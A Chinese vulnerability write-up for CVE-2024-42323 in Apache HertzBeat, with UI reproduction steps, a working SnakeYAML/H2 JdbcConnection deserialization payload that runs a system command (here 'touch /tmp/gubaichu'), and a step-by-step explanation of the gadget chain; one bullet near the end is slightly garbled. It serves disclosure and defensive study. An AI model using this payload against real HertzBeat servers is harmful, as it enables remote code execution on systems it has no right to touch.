漏洞名称
Apache HertzBeat SnakeYaml 反序列化远程代码执行漏洞(CVE-2024-42323)
漏洞描述
Apache HertzBeat 是一款开源的实时监控告警工具,支持对操作系统、中间件、数据库等多种对象进行监控,并提供 Web 界面进行管理。
在 1.6.0 版本之前,HertzBeat 使用了存在安全漏洞的 SnakeYAML 库来解析 YAML 文件。当已认证用户通过 /api/monitors/import
或 /api/alert/defines/import
接口导入新的监控类型时,可以提供特制的 YAML 内容触发不受信任数据的反序列化,最终可能导致在目标系统上执行远程代码。
漏洞复现
ui:
登陆后台
导航到任意监控页面并找到导入按钮
导入下列.yaml文件
!!org.h2.jdbc.JdbcConnection [ "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"touch /tmp/gubaichu\")\\; }$$\\;CALL EXEC ()\\;", [], "a", "b", false ]
HertzBeat 对 YAML 文件进行反序列化时,触发远程代码执行,进入服务器查看tmp目录,发现成功创建了gubaichu
反序列化说明
H2 数据库的 JDBC 连接字符串支持通过 INIT 参数执行初始化 SQL 脚本。攻击者利用此功能,通过 CREATE ALIAS 创建 Java 方法别名并调用 Runtime.getRuntime().exec,从而触发任意命令执行。具体链路如下:恶意 JDBC URL → 触发 SQL 初始化脚本 → 创建 Java 别名 → 调用系统命令。
- INIT 参数:通过分号转义(\;)分隔多条 SQL 语句,依次执行
- drop alias if exists exec:删除已有别名
- CREATE ALIAS EXEC:定义 Java 方法别名 exec,内容为执行系统命令 touch /tmp/gubaichu
- CALL EXEC():调用自定义的 exec 方法触发命令执行
- ava 方法注入:通过 $ . . . ... ...$ 包裹的 Java 代码段直接调用系统命令,绕过 H2 的安全限制